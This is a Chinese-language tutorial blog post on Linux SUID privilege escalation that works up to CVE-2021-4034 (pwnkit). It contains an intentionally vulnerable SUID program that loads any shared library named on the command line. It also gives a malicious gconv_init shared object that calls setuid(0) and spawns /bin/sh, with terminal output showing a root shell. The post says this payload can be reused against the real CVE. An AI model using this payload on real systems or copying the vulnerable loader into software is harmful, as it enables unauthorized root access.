本文会按照下面主题进行分享:
- 再谈SUID权限
- 实战SUID提权编写模拟SUID漏洞程序
- 编写提权so
- 提权
0x1 SUID权限
0x11 查看
查看程序是否具有SUID权限,使用ll命令即可。
xjp@xxx:~$ ll /usr/bin/passwd-rwsr-xr-x 1 root root 68208 Jul 15 2021 /usr/bin/passwd*
第一列中,-rwsr 中的s,即代表passwd程序拥有SUID权限。
0x12 添加、删除SUID权限
添加SUID权限:chmod u+s 文件删除SUID权限:chmod u-s 文件
修改时要使用文件的属主的用户去修改,不然会报错。
$ whoamixxx$ ls -l out-rwxr-xr-x 1 xjp xjp 40760 Feb 19 22:40 out$ chmod u+s outchmod: changing permissions of \'out\': Operation not permitted
0x2 实战SUID提权
这一章,我们来代码实操一下SUID提权。
第一步,我们写一个程序,通过参数来加载指定的so,然后再增加SUID权限,来模拟CVE-2021-4034可以加载任意so的程序。因为我们主要是学习漏洞程序的利用,如果过多篇幅讲解漏洞的原因,不利于理解漏洞。
第二步,我们写一个漏洞利用的so,让SUID程序来加载,实现提权。这个so可以在CVE-2021-4034真实漏洞中重复利用。
第一步:编写SUID漏洞程序
本程序通过参数传入so路径和函数名,然后加载指定so,执行指定函数。
#include <iostream>#include <dlfcn.h>int main(int argc, char *argv[]){// 1、加载soauto so_path = argv[1];printf("so_path=%s\\n", so_path);void *so = dlopen(so_path, RTLD_NOW);////////////////////////////////// 2、执行函数typedef void (*gconv_init_t)(void *);auto func_name = argv[2];printf("func_name=%s\\n", func_name);gconv_init_t func = (gconv_init_t)dlsym(so,func_name);func(nullptr);return 0;}
然后,我们编译一下,添加SUID权限,并确保属主是root。
# whoamiroot# sh build.sh# ls -ltotal 48-rw-r--r-- 1 xjp xjp 40 Feb 9 19:06 build.sh-rwxr-xr-x 1 root root 40760 Feb 19 23:50 out-rw-r--r-- 1 xjp xjp 712 Feb 19 23:45 xxx.cpp# chmod u+s out# ls -ltotal 48-rw-r--r-- 1 xjp xjp 40 Feb 9 19:06 build.sh-rwsr-xr-x 1 root root 40760 Feb 19 23:50 out-rw-r--r-- 1 xjp xjp 712 Feb 19 23:45 xxx.cpp
第二步:编写提权so
写一个so,来实现提权。在so里提权,并启动一个shell进程。当SUID漏洞进程运行加载so时,此时实际UID为xjp(非root用户),有效ID为root。
当提权so被SUID进程加载时,实际UID为xjp,有效UID为root。若此时直接启动shell,shell的实际UID从父进程集成,也为xjp,因为shell不是SUID程序,所以有效UID=实际UID=xjp。
要想提权,我们需要把实际UID变为root,我们可以调用setuid实现。
#include <sys/types.h>#include <unistd.h>int setuid(uid_t uid);
If the user is root or the program is set-user-ID-root, special care must be taken: setuid() checks the effective user ID of the caller and if it is the superuser, all process-related user ID\’s are set to uid. After this has occurred, it is impossible for the program to regain root privileges.
so核心提权代码如下:
void gconv_init(void *step){// 设置实际UID、有效UIDauto r1 = setuid(0);// 启动shellchar * const args[] = { "/bin/sh", NULL };char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };execve(args[0], args, environ);exit(0);}
第三步:提权
准备好以后,提权的操作就是让SUID漏洞程序加载我们的so即可,我们模拟的SUID漏洞程序很简单,直接参数传递so的路径和调用的函数即可。
xjp@xxx:~/code/case/case24_test_SUID/load_so$ whoamixjpxjp@xxx:~/code/case/case24_test_SUID/load_so$ ./load_so ../so/suid.so gconv_initso_path=../so/suid.sofunc_name=gconv_initruid=1000,euid=0,suid=0ruid=0,euid=0,suid=0r1=0,r2=0# whoamiroot
真实的提权操作就是找到系统现有的SUID程序,千方百计寻找漏洞使其加载我们的so。下一篇我们来讲一下如何利用真实漏洞CVE-2021-4034加载任意so,实现提权。
欢迎使用常用聊天软件关注后,回复suid可获取本文代码~